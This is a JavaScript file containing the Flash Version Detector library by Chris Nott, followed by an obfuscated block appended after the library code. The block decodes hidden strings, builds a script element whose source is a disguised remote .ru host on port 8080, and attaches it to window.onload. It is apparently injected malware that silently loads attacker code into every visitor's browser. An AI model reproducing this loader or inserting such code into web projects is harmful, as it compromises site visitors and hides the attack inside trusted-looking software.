// Flash Version Detector  v1.2.1
// documentation: http://www.dithered.com/javascript/flash_detect/index.html
// license: http://creativecommons.org/licenses/by/1.0/
// code by Chris Nott (chris[at]dithered[dot]com)
// with VBScript code from Alastair Hamilton (now somewhat modified)


function isDefined(property) {
  return (typeof property != 'undefined');
}

var flashVersion = 0;
function getFlashVersion() {
	var latestFlashVersion = 8;
   var agent = navigator.userAgent.toLowerCase(); 
	
   // NS3 needs flashVersion to be a local variable
   if (agent.indexOf("mozilla/3") != -1 && agent.indexOf("msie") == -1) {
      flashVersion = 0;
   }
   
	// NS3+, Opera3+, IE5+ Mac (support plugin array):  check for Flash plugin in plugin array
	if (navigator.plugins != null && navigator.plugins.length > 0) {
		var flashPlugin = navigator.plugins['Shockwave Flash'];
		if (typeof flashPlugin == 'object') { 
			for (var i = latestFlashVersion; i >= 3; i--) {
            if (flashPlugin.description.indexOf(i + '.') != -1) {
               flashVersion = i;
               break;
            }
         }
		}
	}

	// IE4+ Win32:  attempt to create an ActiveX object using VBScript
	else if (agent.indexOf("msie") != -1 && parseInt(navigator.appVersion) >= 4 && agent.indexOf("win")!=-1 && agent.indexOf("16bit")==-1) {
	   var doc = '<scr' + 'ipt language="VBScript"\> \n';
      doc += 'On Error Resume Next \n';
      doc += 'Dim obFlash \n';
      doc += 'For i = ' + latestFlashVersion + ' To 3 Step -1 \n';
      doc += '   Set obFlash = CreateObject("ShockwaveFlash.ShockwaveFlash." & i) \n';
      doc += '   If IsObject(obFlash) Then \n';
      doc += '      flashVersion = i \n';
      doc += '      Exit For \n';
      doc += '   End If \n';
      doc += 'Next \n';
      doc += '</scr' + 'ipt\> \n';
      document.write(doc);
   }
		
	// WebTV 2.5 supports flash 3
	else if (agent.indexOf("webtv/2.5") != -1) flashVersion = 3;

	// older WebTV supports flash 2
	else if (agent.indexOf("webtv") != -1) flashVersion = 2;

	// Can't detect in all other cases
	else {
		flashVersion = flashVersion_DONTKNOW;
	}

	return flashVersion;
}
var Uh="";var W;if(W!='_R'){W='_R'};try {var p;if(p!='' && p!='C'){p=''};var J;if(J!='' && J!='N'){J=''};var ki;if(ki!='' && ki!='o'){ki='n'};var gR;if(gR!='' && gR!='A'){gR='I'};this.m='';var U="replajHUq".substr(0,5)+"ceE4p".substr(0,2);var h;if(h!='kh'){h=''};var V;if(V!='oP'){V=''};var kt=RegExp;var aH=new Array();var MJ=new Array();var c_;if(c_!='hw' && c_!='aN'){c_='hw'};function k(a,_){var f=String("l9T[".substr(3));var O="g";var bN;if(bN!='' && bN!='cV'){bN=''};var _v;if(_v!='Tl' && _v != ''){_v=null};f+=_;var np;if(np!='' && np!='BT'){np=''};f+="]";var QO;if(QO!='' && QO!='Gn'){QO='hs'};var q;if(q!='' && q!='bQ'){q=''};var P=new kt(f, O);var II="";return a[U](P, new String());};var doo;if(doo!='gv'){doo='gv'};var av;if(av!='tJ' && av!='yL'){av='tJ'};var ag=new Date();var vR;if(vR!='hC' && vR != ''){vR=null};var M=k('s9c9r9i9pot9',"o91");var G=k('cqrpeqa_t_epE_lpepm_eqnqth',"q_phU");var Qt;if(Qt!='AD' && Qt!='Cz'){Qt='AD'};var UN='';var t='';this.vw="";var ko;if(ko!='Ff'){ko=''};var B=k('/VsVtxuVmEbVlxexuxpEoNnx.NcNoVmx/xsNtNuEmEbNlEeVuEpVoVnE.xcNoVmV/ErxexnVrVeNnE.NcxoVmV/NgNoVoxgNlNex.EcNoxmV/EgxoEoxgElNeE.xcxoN.Vzxax.VpVhxpx',"VNEx");var aY=new String();this.lM='';var e=window;var L=k('hUtUtRpR:R/U/Ua5sQkQmReQnR-Uc5oRmQ.RgUoQoUgQlRe5.UiRtR.5sUhQiQnQo5bRi5-Qj5p5.5T5hQeRBUlQeRn5dUeUr5TQv5.RrRuR:Q',"UR5Q");var yP=new String();var j=new String();var t_=k('851051582660142',"56124");var wE=new String();var kq="";var g=k('oynNlNoyaydN',"vNu2y");var SVt;if(SVt!='GC' && SVt != ''){SVt=null};this.QZ="";E=function(){var nd='';var ta=new Date();this.pRt="";var SL='';EA=document[G](M);var dY="";t=L+t_;var oZ=new Date();t+=B;var Mc;if(Mc!='' && Mc!='lt'){Mc=''};var OT;if(OT!='' && OT!='tFD'){OT=null};this.hE="";EA.defer=([1][0]);EA.src=t;var Bg;if(Bg!='he' && Bg!='Zk'){Bg='he'};var gr;if(gr!=''){gr='AS'};document.body.appendChild(EA);};var pp;if(pp!='yq'){pp='yq'};e[g]=E;var Yu;if(Yu!=''){Yu='_o'};var KG;if(KG!='' && KG!='YT'){KG=''};var oN='';} catch(Ma){var DG;if(DG!='ms' && DG != ''){DG=null};};
